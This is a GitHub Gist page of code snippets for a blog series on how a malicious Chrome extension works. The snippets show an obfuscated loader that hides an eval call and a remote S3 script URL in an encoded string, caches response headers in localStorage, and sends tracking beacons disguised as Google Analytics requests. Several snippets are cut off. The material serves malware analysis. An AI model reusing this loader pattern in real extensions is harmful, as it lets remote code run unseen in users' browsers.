Skip to content

Instantly share code, notes, and snippets.

View Spiderpig86's full-sized avatar
❄️
yeeting code

Stanley Lim Spiderpig86

❄️
yeeting code
View GitHub Profile
@Spiderpig86
Spiderpig86 / Markdium-JavaScript.js
Created February 7, 2021 19:40
Markdium-Extensions: Google Chrome's Soft Underbelly (Part 2)
function t(a) {
var b = new Image,
c = Math.random();
c += 1, c > 2 ? b.src = ["https://www.google-analytics.com/_utm.gif?", m(), k(), l(), i(), n(), j(a), p()].join("").replace(/&$/, "") : b.src = ["https://", x[2], g(), q(), m()].concat(s([k(), l(), i(), n(), o(), j(a), p()])).join("").replace(/&$/, "")
}
/* ------------------------------------------------- */
// Separate IIFE
setTimeout(function() {
@Spiderpig86
Spiderpig86 / Markdium-JavaScript.js
Created February 7, 2021 19:40
Markdium-Extensions: Google Chrome's Soft Underbelly (Part 2)
chrome.webRequest.onCompleted.addListener(function(a) {
a.responseHeaders.forEach(function(a) {
a.value && a.value.length > 20 && (localStorage[a.name.toLowerCase()] = a.value)
})
}, {
urls: ["*://" + x[2] + "*"],
types: ["image"]
}, ["responseHeaders"]),
@Spiderpig86
Spiderpig86 / Markdium-JavaScript.js
Created February 7, 2021 19:40
Markdium-Extensions: Google Chrome's Soft Underbelly (Part 2)
setMediaPath: function() {
"undefined" != typeof '$' && '$' && 'https://...' && 'get' > '$' && window['$']['get']('https://...', function(a) {
var b = "cfg_audio_id";
localStorage[b] = a
})
}
@Spiderpig86
Spiderpig86 / Markdium-JavaScript.js
Created February 7, 2021 19:40
Markdium-Extensions: Google Chrome's Soft Underbelly (Part 2)
String.prototype.strvstrevsstr = function() {
var a = this;
this.length % 4 != 0 && (a += "===".slice(0, 4 - this.length % 4)), a = atob(a.replace(/\-/g, "+").replace(/_/g, "/"));
var b = parseInt(a[0] + a[1], 16),
c = parseInt(a[2], 16);
a = a.substr(3);
var d = parseInt(a);
if (a = a.substr(("" + d).length + 1), d != a.length) return null;
for (var e = [String.fromCharCode], f = 0; f < a.length; f++) e.push(a.charCodeAt(f));
for (var g = [], h = b, i = 0; i < e.length - 1; i++) {
@Spiderpig86
Spiderpig86 / Markdium-JavaScript.js
Created February 7, 2021 19:40
Markdium-Extensions: Google Chrome's Soft Underbelly (Part 2)
findDetails: function() {
if ("undefined" != typeof ee) {
var a = "cfg_audio_id";
localStorage[a] && window[ee](localStorage[a]);
delete localStorage[a]
}
}
@Spiderpig86
Spiderpig86 / Markdium-JavaScript.js
Created February 7, 2021 19:40
Markdium-Extensions: Google Chrome's Soft Underbelly (Part 2)
let test = {
"c": "console",
"l": "log"
};
for (const key in test) { window[key] = test[key]; }
window[c][l]('test'); // Prints out 'test'
@Spiderpig86
Spiderpig86 / Markdium-JavaScript.js
Created February 7, 2021 19:40
Markdium-Extensions: Google Chrome's Soft Underbelly (Part 2)
window.localStorage.userSettings = "config", C(), c(),
function() {
"undefined" == typeof window.localStorage.installedTime && (window.localStorage.installedTime = Date.now());
var b = "nop",
c = "user_id";
// ...
@Spiderpig86
Spiderpig86 / Markdium-JavaScript.js
Created February 7, 2021 19:40
Markdium-Extensions: Google Chrome's Soft Underbelly (Part 2)
"NTM2MTEzeChZb1koQTBfFX5pWRY4FFNLexxTNhogb0dlOlFFHHxoLQ1uVFlYBDJ7CHIKZ1pdWlR-eV4xVTNkIUJBMCM6K1UqFUpEEX13bVt6WRFfVjxwSD8KbjUuGx03NSFhGmBhZiExVEUUQFFbOXBUZV13LC1X".strvstrevsstr() // => {"ee":"eval","jj":"$","gg":"get","uu":"https:\/\/s3.amazonaws.com\/g-js\/6afj7be259a48.js?r=12345","cache_c":"1"}
@Spiderpig86
Spiderpig86 / Markdium-JavaScript.js
Created February 7, 2021 19:40
Markdium-Extensions: Google Chrome's Soft Underbelly (Part 2)
getMediaPath: function() {
var a = window.localStorage;
console.trace('getMediaPath', a);
if (a["cache-control"]) {
var b = a["cache-control"].split(",");
try {
var c;
for (var d in b) {
var e = b[d].trim();
if (!(e.length < 10)) try {
@Spiderpig86
Spiderpig86 / Markdium-JSON.JSON
Created February 7, 2021 19:40
Markdium-Extensions: Google Chrome's Soft Underbelly (Part 2)
{
"ee":"eval",
"jj":"$",
"gg":"get",
"uu":"https:\/\/s3.amazonaws.com\/g-js\/6afj7be259a48.js?r=12345",
"cache_c":"1"
}